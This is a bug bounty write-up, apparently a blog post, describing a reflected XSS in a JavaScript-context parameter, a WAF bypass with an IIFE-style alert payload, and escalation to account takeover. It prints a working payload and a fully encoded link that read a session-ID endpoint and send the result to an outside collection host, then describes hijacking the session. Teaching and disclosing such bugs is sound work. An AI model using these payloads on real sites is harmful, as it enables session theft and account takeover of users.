Hi fellow hunters, this is my first writeup for the community in which I will explain how I found a reflected cross site scripting bug and further escalated it to achieve account takeover of any user on the website.

The target I was testing was a private program having a single main domain so, I will refer to it as www.redacted.com throughout this blog so let’s get started.

Finding Reflected XSS

Parameter Discovery

During the recon phase, I fired up burpsuite proxy and added www.redacted.com to the scope and started surfing the website to capture traffic. To find XSS, I normally use a Burp Suite PRO extension called “Reflected Parameters” which monitors in-scope requests traffic generated by the proxy and looks for request parameter values that are reflected in the response.

So, while capturing the traffic I came upon a parameter named blogPostId whose value was reflected in the JS context.

I decided to further test this parameter by using a small string with a set of special characters, something like test123'">< and found out that there was no input sanitization in place.

Firstly, I tried to close the existing script tag but failed because the script tag was blocked due to WAF being enforced. So, the next payload was made to call the alert function inside the existing script tag but the WAF blocked the request.

After fuzzing for a while I bypassed the restriction using the iife function and the alert box popped up with the following payload:

https://www.redacted.com/preview/001981ba?blogPostId=test123";(alert)("xss")//

Escalating to ATO

The most useful way to increase the impact of an XSS is by stealing the victim’s session id which will result in full account takeover. So, I noticed the requests in the Burp’s history log and found an API request which was leaking the user’s session id in the response in JSON format.

Endpoint Leaking Session ID:
https://www.redacted.com/api/uis/accounts/current/sso

Constructing the Payload

I used the following payload to carry out the attack:

";fetch('https://www.redacted.com/api/uis/accounts/current/sso').then(a=> a.text()).then(a=> fetch('https://random.burpcollaborator.net?x='+a))//

Explanation: Here I am using the fetch() method of javascript in my payload that instructs the web browsers to send a request to a URL. The first fetch() sends a GET request to this api endpoint https://www.redacted.com/api/uis/accounts/current/sso (leaking session id) which we can use to hijack the account. (a=> a.text()) return the data into the a variable. After that second fetch() function is used to send another GET request to send the stolen data into the attacker control server. For that purpose I simply used Burp Collaborator.

P.S: Thanks to Saad Ahmed for helping me constructing this payload.

Final URL:

https://www.redacted.com/preview/001981ba?blogPostId=327156%22;fetch(%27https://www.redacted.com/api/uis/accounts/current/sso%27).then(a=%3E%20a.text()).then(a=%3E%20fetch(%27https://random.burpcollaborator.net?x=%27%2ba))//

Now all I had to do was to send this link to any authenticated user of the website and as soon as they opened it, their session ID would be sent to the attacker’s control server (Burp collaborator in my case).

After retrieving the session ID, I first of all logged in as an attacker and then by using Firefox’s inspect element replaced my session ID with the victim’s and refreshed the page which logged me in as a victim and led me to successful session takeover.

Once I was in the victim’s account, I simply changed the email address with mine and completely took over the account.

Final Notes:

This writeup was a way to show the severity of an XSS vulnerability and how you can increase the impact of the report. Additionally, if you have any queries feel free to reach out to me on Twitter till then happy hacking!